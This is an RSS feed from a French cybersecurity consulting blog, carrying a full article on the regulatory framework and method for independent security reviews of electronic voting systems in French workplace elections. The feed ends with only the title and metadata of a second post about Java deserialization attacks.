<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bilal Benseddiq, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/author/bilal-benseddiq/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/author/bilal-benseddiq/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Wed, 17 May 2023 15:27:29 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Bilal Benseddiq, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/author/bilal-benseddiq/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Expertise indépendante de systèmes de vote électronique</title>
		<link>https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/</link>
					<comments>https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/#respond</comments>
		
		<dc:creator><![CDATA[Bilal Benseddiq]]></dc:creator>
		<pubDate>Wed, 17 May 2023 15:14:45 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Compliance]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[compliance]]></category>
		<category><![CDATA[E-vote]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20485</guid>

					<description><![CDATA[<p>Introduction Définition du vote électronique Le vote électronique est un système de vote dématérialisé, à comptage automatisé, dans lequel les électeurs utilisent des dispositifs électroniques pour enregistrer leur vote. Le système peut être utilisé à distance, comme dans le cas...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/">Expertise indépendante de systèmes de vote électronique</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Introduction</h1>
<h2 style="text-align: justify;">Définition du vote électronique</h2>
<p style="text-align: justify;">Le vote électronique est un système de vote <strong>dématérialisé</strong>, à <strong>comptage automatisé</strong>, dans lequel les électeurs utilisent des dispositifs électroniques pour enregistrer leur vote.</p>
<p style="text-align: justify;">Le système peut être <strong>utilisé à distance</strong>, comme dans le cas du <strong>vote par internet</strong>, ou en personne, comme dans les bureaux de vote équipés de machines à voter.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Quelques utilisations en France</h2>
<h3 style="text-align: justify;">Les premières traces datent de…  1969 !</h3>
<p style="text-align: justify;">Le ministre de l&rsquo;Intérieur Raymond Marcellin fait autoriser l&rsquo;utilisation de machines à voter 100% <strong>mécaniques</strong><a href="#_edn1" name="_ednref1">[i]</a>. En raison de pannes importantes et de la non-diminution des fraudes, ces machines tombent en désuétude, mais la modification faite au code électoral reste.</p>
<h3 style="text-align: justify;">Une utilisation lors des élections professionnelles</h3>
<p style="text-align: justify;">Lors des élections professionnelles du secteur publique de <strong>2018</strong>, <strong>5,15 millions d’agents</strong> <strong>publics</strong> ont été appelés à voter via une solution de vote électronique.</p>
<p style="text-align: justify;">En <strong>2022</strong>, <strong>5,6 millions d’agents publics</strong> des trois versants de la fonction publique sont appelés à voter pour leurs représentants syndicaux au sein des instances représentatives. Le scrutin a eu lieu du 1er au 8 décembre 2022. Il est unique à plus d’un titre : généralisation du vote électronique dans la fonction publique de l’État et mise en place de nouvelles instances de dialogue social<a href="#_edn2" name="_ednref2">[ii]</a>.</p>
<h3 style="text-align: justify;">Des expérimentations en cours pour le vote des Français de l’étranger</h3>
<p style="text-align: justify;">Pour les élections de 2017, le Ministère des Affaires Étrangères et du Développement International a mis au point une plateforme de <strong>vote en ligne aux français de l’étranger pour les élections législatives</strong>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Quels scrutins ont lieu dans les organisations françaises ?</h2>
<p style="text-align: justify;">Dans le <strong>secteur privé</strong>, depuis 2018 les élections des membres de la délégation du personnel des <strong>comités sociaux et économiques</strong> (<strong>CSE</strong>) sont obligatoires pour les entreprises de plus de 11 salariés, à bulletins secrets<a href="#_edn3" name="_ednref3">[iii]</a>.</p>
<p style="text-align: justify;">Dans la <strong>fonction publique</strong> et certaines entreprises du secteur parapublic, il existe aussi des élections à des <strong>commissions paritaires</strong> ou des <strong>commissions</strong> <strong>techniques</strong> <strong>paritaires</strong>.</p>
<p style="text-align: justify;">Dans tous les cas, l&#8217;employeur doit informer <strong>tous les quatre ans </strong>(<em>sauf accord de branche prévoyant une durée plus courte</em>, comprise entre deux et quatre ans) le personnel par affichage de l&rsquo;organisation des élections.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Fonctionnement du vote électronique dans un contexte d’élections professionnelles</h2>
<p> </p>
<p><img fetchpriority="high" decoding="async" class="aligncenter wp-image-20458 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1.png" alt="" width="945" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1-332x191.png 332w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1-768x441.png 768w" sizes="(max-width: 945px) 100vw, 945px" /></p>
<p> </p>
<p style="text-align: justify;">Avant le vote, l&#8217;employeur doit <strong>convoquer les élections professionnelles</strong> en précisant la date, le lieu et les modalités de scrutin (papier, électronique, ou hybride).</p>
<p style="text-align: justify;">L’organisation des élections repose généralement sur un ou plusieurs <strong>bureaux de vote centralisateurs</strong> et des bureaux de vote régionaux, selon le volume de scrutins et d’électeurs. Les membres des bureaux sont <strong>formés</strong>, la solution est <strong>recettée</strong>, et des <strong>élections de tests</strong> sont réalisées.</p>
<p style="text-align: justify;">Une fois la solution <strong>validée</strong> elle est passée en <strong>production</strong>, et <strong>l’élection peut débuter</strong> :</p>
<ol style="text-align: justify;">
<li>Les <strong>listes électorales</strong> sont établies, les syndicats ou les salariés peuvent vérifier et signaler toute erreur ou omission.</li>
<li>Les candidats peuvent faire <strong>campagne</strong> auprès des électeurs et présenter leur programme.</li>
<li>Le jour de l’<strong>ouverture du scrutin</strong>, la solution est <strong>scellée</strong> en utilisant des clefs de chiffrement privées détenues aux 1/3 par l’administration et aux 2/3 par les organisations syndicales.</li>
<li>Les électeurs <strong>votent ensuite selon le calendrier</strong> prescrit, les bureaux suivent l’émargement et assistent les électeurs, la cellule de supervision contrôle le bon déroulement et gère les incidents éventuels, et le prestataire de vote est mobilisé au besoin.</li>
<li>Le jour de la <strong>clôture des élections</strong>, l’intégrité de l’urne est contrôlée, puis le descellement est opéré par l’administration et les organisations syndicales.</li>
<li>Le <strong>dépouillement</strong> des votes est ensuite effectué sous le contrôle des bureaux de votes centralisateurs.</li>
<li>Les <strong>résultats</strong> des élections doivent être communiqués aux électeurs, affichés publiquement et transmis à l&rsquo;inspecteur du travail.</li>
<li>L’urne est à nouveau <strong>scellée</strong>, et toute la solution (<em>copie des programmes sources et des programmes exécutables, matériels de vote, fichiers d&rsquo;émargement, de résultats et de sauvegarde et fichiers qui conservent la trace des interventions sur le système</em>) est <strong>archivée sous scellés</strong> pendant 2 ans minimum.</li>
<li>En cas de <strong>contestation</strong>, un recours peut être déposé auprès de l&rsquo;inspecteur du travail ou du tribunal d&rsquo;instance.</li>
</ol>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Les enjeux du vote électronique</h1>
<h2 style="text-align: justify;">Opportunités</h2>
<h3 style="text-align: justify;">Facilité de mise en œuvre du scrutin</h3>
<p style="text-align: justify;">Le vote électronique est <strong>généralement</strong> <strong>plus efficient à mettre en œuvre que le vote papier</strong>, il nécessite moins de travail manuel pour la préparation (impression des affiches de propagande, logistique…), le dépouillement et la communication des résultats. Cela entraîne une réduction des coûts et une amélioration de l&rsquo;efficacité du processus électoral.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Réduction de l’empreinte carbone</h3>
<p style="text-align: justify;">Le vote électronique réduit grandement la dépendance à l’impression papier pour les listes électorales, les documents de propagande, et surtout les bulletins de vote. Il permet également de réduire drastiquement les déplacements en fonction de l’organisation géographique de l’entité organisatrice des scrutins.</p>
<p style="text-align: justify;">D’après une étude de la société Kercia<a href="#_edn4" name="_ednref4">[iv]</a>, <strong>l’empreinte carbone d’un vote par courrier est plus de deux fois supérieure à celle d’un vote électronique</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Maximisation de la participation et instances élues avec une base électorale plus élargie</h3>
<p style="text-align: justify;">Le vote électronique permet une <strong>participation plus importante des électeurs</strong>.</p>
<p style="text-align: justify;">Une étude menée en Suisse en 2011 a montré que le taux de participation a <strong>augmenté de 2,2 %</strong><a href="#_edn5" name="_ednref5">[v]</a> dans les cantons qui ont mis en place le vote électronique par rapport à ceux qui n&rsquo;ont pas utilisé cette méthode. De même, une étude menée en Estonie en 2014 a montré que l&rsquo;utilisation du vote électronique avait <strong>augmenté la participation électorale de 3 à 4 %</strong><a href="#_edn6" name="_ednref6">[vi]</a><strong>.</strong></p>
<p style="text-align: justify;">Les électeurs peuvent voter à distance <strong>sans avoir à se déplacer physiquement</strong> jusqu&rsquo;au bureau de vote. Cela peut augmenter la participation des électeurs, en particulier dans un contexte de généralisation du télétravail post-COVID-19.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Accords empreints d’une plus forte assise démocratique</h3>
<p style="text-align: justify;">Le vote électronique peut aider à <strong>renforcer le dialogue social</strong> en permettant une participation plus large et plus accessible des électeurs. Les résultats des élections sont mécaniquement plus probants en augmentant la participation aux scrutins.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Risques</h2>
<h3 style="text-align: justify;">Altération des résultats</h3>
<p style="text-align: justify;">Les systèmes de vote électronique peuvent être vulnérables à des attaques de <strong>vol de comptes</strong> électeur, de <strong>vote multiple à un même scrutin par le même électeur</strong>, ou encore de <strong>compromission des bulletins</strong>.</p>
<h3 style="text-align: justify;">Protection des données personnelles</h3>
<p style="text-align: justify;">La mise en œuvre de plateformes de vote électronique doit prendre en compte le <strong>risque de collecte excessive de données personnelles sensibles</strong> telles que les opinions politiques des électeurs.</p>
<p style="text-align: justify;">Les informations personnelles des électeurs peuvent également être stockées sur des serveurs vulnérables, exposant ces données à des <strong>risques de compromission du secret du vote ou de fuites de données</strong>.</p>
<h3 style="text-align: justify;">Transparence des opérations de vote</h3>
<p style="text-align: justify;">Il peut être difficile à chaque partie prenante de comprendre comment les votes sont enregistrés et comment les résultats sont compilés, entraînant une <strong>méfiance vis-à-vis de la solution et des résultats</strong> des élections.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ces risques doivent être pris en compte et remédiés afin d’en réduire drastiquement la probabilité d’occurrence et/ou leur impact sur le bon déroulement des élections.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Comment se conformer à la réglementation ?</h1>
<h2 style="text-align: justify;">Délibération CNIL 2019-053 du 25 avril 2019</h2>
<p> </p>
<p><img decoding="async" class="aligncenter wp-image-20460 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2.png" alt="" width="945" height="548" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2-329x191.png 329w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2-768x445.png 768w" sizes="(max-width: 945px) 100vw, 945px" /></p>
<p> </p>
<p style="text-align: justify;">La <strong>délibération CNIL n°2019-053 du 25 avril 2019</strong><a href="#_edn7" name="_ednref7">[vii]</a> simplifie et précise les textes de 2010 et 2018. Le processus est le suivant :</p>
<ol style="text-align: justify;">
<li>Choix du <strong>niveau de sécurité</strong> (1, 2 ou 3) en fonction d’un questionnaire mis à disposition par la CNIL<a href="#_edn8" name="_ednref8">[viii]</a>.</li>
<li>Mise en place d’une <strong>plateforme de vote de test</strong> (iso-production) en amont des élections, avec appui de l’expert indépendant en cas de questions relatives à la conformité des choix techniques et organisationnels à arbitrer.</li>
<li><strong>Expertise indépendante</strong> de la solution visant à évaluer la conformité de la solution aux objectifs de sécurité : selon le niveau de risque défini, les objectifs de sécurité sont plus ou moins stricts. Ceux-ci s’additionnent, par exemple en cas de niveau de risque défini à 3, les objectifs de niveaux 1, 2 et 3 doivent être atteints.</li>
</ol>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Décret 2011-595 (secteur public)</h2>
<p style="text-align: justify;">Une réglementation vient s’ajouter à la délibération CNIL 2019-053 pour la <strong>fonction publique</strong> et certaines entreprises du secteur parapublic<a href="#_edn9" name="_ednref9">[ix]</a> :</p>
<p> </p>
<p><img decoding="async" class="aligncenter wp-image-20462 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3.png" alt="" width="945" height="600" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3-301x191.png 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3-768x488.png 768w" sizes="(max-width: 945px) 100vw, 945px" /></p>
<p> </p>
<p style="text-align: justify;">En complément des objectifs de sécurité CNIL, <strong>18 articles</strong> composant ce décret doivent être respectés et contrôlés par l’expert indépendant. Les points de contrôle incluent par exemple :</p>
<ul style="text-align: justify;">
<li><em>« Au moins 2/3 des clés sont attribuées aux délégués de liste et au moins 1 clé est attribuée au président du bureau de vote ou à son représentant »</em></li>
<li><em>« Le scellement est effectué par la combinaison d&rsquo;au moins 2 clés de chiffrement, dont celle du président du bureau de vote ou de son représentant et celle d&rsquo;au moins un délégué de liste »</em></li>
<li><em>« Un procédé garantit que la liste d&rsquo;émargement n&rsquo;est modifiée que par l&rsquo;ajout d&rsquo;un émargement, qui émane d&rsquo;un électeur authentifié réalisant le vote »</em></li>
<li><em>« Chaque électeur reçoit au moins quinze jours avant le premier jour du scrutin un moyen d&rsquo;authentification lui permettant de participer au scrutin &#8211; la confidentialité de ce moyen d&rsquo;authentification doit être garanti »</em></li>
<li><em>« Un procédé garantit que l&rsquo;urne électronique n&rsquo;est modifiée que par le vote d&rsquo;un électeur authentifié »</em></li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Expertise indépendante</h2>
<h3 style="text-align: justify;">Obligation</h3>
<p style="text-align: center;"><em>« <strong>Tout responsable de traitement </strong>mettant en œuvre un système de vote par correspondance électronique, notamment via Internet, <strong>doit faire expertiser sa solution par un expert indépendant</strong>, que la solution de vote soit gérée en interne ou fournie par un prestataire. » &#8211; Délibération CNIL 2019-053</em></p>
<h3 style="text-align: justify;">Modalités</h3>
<h4 style="text-align: justify;">Quand ?</h4>
<p style="text-align: justify;">Cette expertise doit être réalisée :</p>
<ul style="text-align: justify;">
<li><strong>Avant la mise en place </strong>du système de vote électronique</li>
<li>En cas de <strong>modification</strong> de la conception du système de vote électronique déjà en place</li>
<li>A <strong>chaque nouveau scrutin </strong>utilisant le système de vote électronique, même s’il a déjà été expertisé</li>
</ul>
<h4 style="text-align: justify;">Par qui ?</h4>
<p style="text-align: justify;">Par un expert indépendant, qui doit :</p>
<ul style="text-align: justify;">
<li>Être un informaticien <strong>spécialisé dans la sécurité</strong></li>
<li>Ne <strong>pas avoir d&rsquo;intérêt dans la société </strong>qui a créé la solution de vote ni dans l&rsquo;organisme responsable de traitement</li>
<li><strong>Posséder si possible une expérience </strong>dans l&rsquo;analyse des systèmes de vote, en ayant expertisé les systèmes de vote d&rsquo;au moins deux prestataires différents.</li>
</ul>
<h4 style="text-align: justify;">Pourquoi ?</h4>
<p style="text-align: justify;">Pour garantir le <strong>respect des principes fondamentaux </strong>qui commandent les opérations électorales :</p>
<ul style="text-align: justify;">
<li>Le secret du scrutin</li>
<li>Le caractère personnel et libre du vote</li>
<li>La sincérité des opérations électorales</li>
<li>La surveillance effective du vote par la commission électorale</li>
<li>Le contrôle a posteriori par le juge de l’élection</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Démarche de travail type</h3>
<p style="text-align: justify;">Notre vision de l’expertise indépendante est illustrée par les grandes étapes décrites dans ce chapitre.</p>
<h4 style="text-align: justify;">Initialisation et cadrage</h4>
<p style="text-align: justify;">Pour initier la mission, une réunion de lancement est organisée avec les interlocuteurs projet.</p>
<p style="text-align: justify;">Cette réunion a pour objectifs de présenter les <strong>équipes</strong>, définir les jalons et le <strong>planning</strong> projet, préciser les modalités de <strong>suivi</strong> de la prestation, les modalités de <strong>communication</strong> entre les parties (chiffrement des échanges, etc.), recueillir l’existant via collecte de la <strong>documentation</strong>, et mettre en place la <strong>comitologie</strong>.</p>
<h4 style="text-align: justify;">Audit de la solution et accompagnement en expertise</h4>
<p style="text-align: justify;">Cette phase centrale de l’expertise s’appuie sur une démarche d’analyse théorique et pratique :</p>
<ul style="text-align: justify;">
<li><strong>Contrôle de la documentation projet et du cahier des charges</strong>
<ul>
<li>Il s’agit dès la phase « papier » de s’assurer que tous les points de conformité sont présents et en adéquation avec la règlementation en vigueur :<em>technologies utilisées et mises à jour de ces dernières, hébergement de la solution, sécurité physique, architecture et haute disponibilité, cloisonnement entre les scrutins, techniques de scellement et chiffrement, moyen de constitution, corrélation, communication et suppression des listes électorales, schéma d’authentification des électeurs…</em></li>
</ul>
</li>
<li><strong>Accompagnement en expertise et avis sécurité</strong>
<ul>
<li>Il s’agit d’apporter une expertise ponctuelle sur des sujets relatifs au cadre légal et règlementaire lors de la phase de conception et d’implémentation de la solution et des processus (ex : <em>choix des facteurs d’authentification, processus de conservation des clefs de scellement, etc.</em>)</li>
</ul>
</li>
<li><strong>Audit technique de la solution</strong>
<ul>
<li><strong>Revue d’architecture</strong>visant à contrôler la conformité du cloisonnement physique et logique, de la sécurisation des flux, de l’hébergement, de la haute disponibilité, etc.</li>
<li><strong>Audit de l’organisation et des processus</strong> tels que le scellement, la communication des authentifiant, l’archivage, etc.</li>
<li><strong>Revue de configuration technique des serveurs</strong>-clefs de la solution</li>
<li>Audit du <strong>code source</strong> et des <strong>mécanismes de chiffrement</strong> de la solution en s’appuyant entre autres sur le RGS<a href="#_edn10" name="_ednref10">[x]</a> (Référentiel Général de Sécurité)</li>
<li><strong>Tests d’intrusion en boite noire et en boîte grise</strong> des portails de vote et du back-office de supervision</li>
</ul>
</li>
</ul>
<h4 style="text-align: justify;">Observation des élections-test</h4>
<p style="text-align: justify;">Cette phase vise à simuler une élection afin de contrôler la bonne application du protocole et des processus vérifiés en amont à l’épreuve du terrain :</p>
<ul style="text-align: justify;">
<li>Validation du processus de <strong>contrôle de conformité</strong>
<ul>
<li>Lors de cette étape, le but est de vérifier que la technique utilisée pour la vérification de la non-altération du système (prise d’empreinte) fonctionne</li>
</ul>
</li>
<li><strong>Contrôles de la solution en situation de terrain</strong>
<ul>
<li>Il s’agit de s’assurer, in vivo, que l’ensemble des points évoqués en matière de sécurité et règlementation sont bien en place, par exemple au travers de l’analyse des journaux applicatifs et système, ou des contrôles « aléatoires » : présence de fichiers temporaires contenant des informations sensibles, capacité à collecter des données, etc.</li>
</ul>
</li>
<li><strong>Appui en expertise lors du déroulement du vote et aide à l’adaptation de procédures en cas d’imprévus</strong></li>
</ul>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Accompagnement lors de l’élection réelle</h4>
<p style="text-align: justify;">Les mêmes contrôles que durant les élections-tests sont réalisés, et spécifiquement :</p>
<ul style="text-align: justify;">
<li><strong>Contrôle d’intégrité</strong> du système : Prise d’empreinte des briques essentielles du système (librairies, code, bibliothèques de chiffrement, etc.) et comparaison des empreintes avec celles obtenue pré-scrutin</li>
<li>Respect du <strong>cadre règlementaire</strong>: Processus de scellement, accès et utilisation des clés de chiffrement/déchiffrement, processus de dépouillement, etc.</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Quels écueils et comment les éviter ?</h1>
<h2 style="text-align: justify;">Accès limité aux systèmes</h2>
<p style="text-align: justify;">Le contexte de <strong>marché à forte expertise</strong> des solutions de vote peut pousser les éditeurs à être <strong>réticents à partager des informations confidentielles</strong> sur leur technologie tels que le <strong>code source</strong>, dans une logique de <strong>protection du secret industriel</strong>, ce qui peut limiter la capacité des experts à évaluer la conformité du système.</p>
<p style="text-align: justify;">Afin d’éviter cet écueil, il est essentiel de mettre en œuvre une <strong>communication régulière</strong> et une <strong>transparence totale</strong> des actions de l’expert indépendant. Des <strong>garanties</strong> doivent être fournies quant à la protection de la confidentialité des données recueillies et traitées via des <strong>processus et un SI certifié SMSI ou II 901 </strong><a href="#_edn11" name="_ednref11">[xi]</a>Diffusion Restreinte).</p>
<p style="text-align: justify;">Par ailleurs, nous recommandons aux experts indépendants de faire preuve de <strong>souplesse</strong> <strong>dans l’organisation</strong>, par exemple en acceptant de consulter le code source exclusivement au sein des locaux de l’éditeur.</p>
<p style="text-align: justify;">Il est enfin à rappeler que la délibération CNIL 2019-053 impose au prestataire de mettre à disposition « le code source correspondant à la version du logiciel effectivement mise en œuvre » à l’expert indépendant.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Méfiance des organisations syndicales et des électeurs</h2>
<p style="text-align: justify;">Les organisations syndicales et les électeurs peuvent légitimement s’interroger sur <strong>l’indépendance</strong> de l’expert et les <strong>garanties apportées par l’expertise</strong>, entraînant une <strong>méfiance</strong> vis-à-vis de la solution de vote électronique.</p>
<p style="text-align: justify;">Ces craintes sont fondées et une <strong>réponse</strong> doit y être apportée par une posture de <strong>transparence</strong>, et l’apport de <strong>preuves factuelles</strong> et <strong>vérifiables</strong> pour chaque observation rapportée durant l’expertise.</p>
<p style="text-align: justify;">Par ailleurs, aucun constat ne doit être formulé de façon ambigüe ou au conditionnel, ni être omis.</p>
<p style="text-align: justify;">Enfin, il est essentiel de présenter les <strong>limites</strong> de l’exercice d’expertise, et l’impossibilité logique d’apporter une garantie à 100% que le système ne peut être attaqué.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Interprétation de la réglementation</h2>
<p style="text-align: justify;">La <strong>réglementation</strong> disponible n’est pas toujours <strong>claire</strong> et explicite, notamment :</p>
<ul style="text-align: justify;">
<li>Les <strong>architectures non-standard</strong> ne font pas l’objet de règles spécifiques
<ul>
<li><em>Ex : Une architecture reposant sur un SI à cheval entre l’éditeur de la solution SaaS et le SI de l’employeur</em></li>
</ul>
</li>
<li>Certains <strong>termes</strong> peuvent être <strong>ambigus</strong>
<ul>
<li><em>Ex : « Le vote d&rsquo;un électeur doit être une opération atomique » &#8211; l’atomicité étant une notion fonctionnelle plutôt que technique, les protocoles de communication sur Internet ne permettant par exemple pas de contenir l’ensemble du bulletin dans un seul paquet réseau</em></li>
</ul>
</li>
</ul>
<p style="text-align: justify;">L’application des <strong>standards de référence</strong> (type RGS), l’interrogation directe de la <strong>CNIL</strong>, et l’implémentation d’une <strong>solution permettant de répondre au risque</strong> en substance sont autant de moyens de remédier à cet écueil.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion et recommandations</h1>
<p style="text-align: justify;">Afin de <strong>tirer au mieux parti de l’expertise indépendante</strong> et de la <strong>factualiser</strong>, nous recommandons de <strong>combiner la vision conformité réglementaire avec une vision orientée risques</strong> et alimentée par l’audit technique (tests d’intrusion, revues de configuration…) dans une logique de <strong>sécurisation</strong> concrète et <strong>pragmatique</strong> de la solution <strong>respectant le cadre réglementaire</strong>.</p>
<p style="text-align: justify;">Cet exercice ne peut être mené de façon efficace et porter ses fruits qu’en <strong>embarquant</strong> et en <strong>sensibilisant toutes les parties prenantes</strong> du projet, y compris l’éditeur et les organisations syndicales dès la phase de conception.</p>
<p style="text-align: justify;">Il est enfin nécessaire de garder en tête que le vote électronique est une <strong>technologie en évolution</strong> constante. Il est probable que de nouvelles méthodes et technologies émergeront à l&rsquo;avenir, entraînant une <strong>évolution de la réglementation</strong>. La <strong>veille technique et réglementaire</strong> est par conséquent un sujet essentiel tant pour les entités organisatrices d’élections que pour les éditeurs et les sociétés d’expertise indépendante.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><em>Pour toute demande d’information ou de devis sur le sujet de l’expertise indépendante de systèmes de vote électronique, nous vous invitons à nous contacter via le formulaire suivant : </em><a href="https://www.wavestone.com/fr/contact/"><em>https://www.wavestone.com/fr/contact/</em></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>Tous nos vœux de succès pour l’organisation de vos élections professionnelles !</strong></p>
<p style="text-align: justify;"><a href="#_ednref1" name="_edn1">[i]</a> <a href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/">https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/</a></p>
<p style="text-align: justify;"><a href="#_ednref2" name="_edn2">[ii]</a> <a href="https://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees">https://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees</a></p>
<p style="text-align: justify;"><a href="#_ednref3" name="_edn3">[iii]</a> <a href="https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique">https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique</a></p>
<p style="text-align: justify;"><a href="#_ednref4" name="_edn4">[iv]</a> <a href="https://www.kercia.com/vote-electronique">https://www.kercia.com/vote-electronique</a></p>
<p style="text-align: justify;"><a href="#_ednref5" name="_edn5">[v]</a> <a href="https://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html">https://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html</a></p>
<p style="text-align: justify;"><a href="#_ednref6" name="_edn6">[vi]</a> <a href="https://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/">https://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/</a></p>
<p style="text-align: justify;"><a href="#_ednref7" name="_edn7">[vii]</a> <a href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239">https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239</a></p>
<p style="text-align: justify;"><a href="#_ednref8" name="_edn8">[viii]</a> <a href="https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010">https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010</a></p>
<p style="text-align: justify;"><a href="#_ednref9" name="_edn9">[ix]</a> <a href="https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/">https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/</a></p>
<p style="text-align: justify;"><a href="#_ednref10" name="_edn10">[x]</a> <a href="https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/">https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/</a></p>
<p style="text-align: justify;"><a href="#_ednref11" name="_edn11">[xi]</a> <a href="https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/">https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/">Expertise indépendante de systèmes de vote électronique</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</title>
		<link>https://www.riskinsight-wavestone.com/2019/07/techniques-outils-deserialisation-java/</link>
		
		<dc:creator><![CDATA[Bilal Benseddiq]]></dc:creator>
		<pubDate>Wed, 10 Jul 2019 09:00:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[sérialisation]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15728</guid>

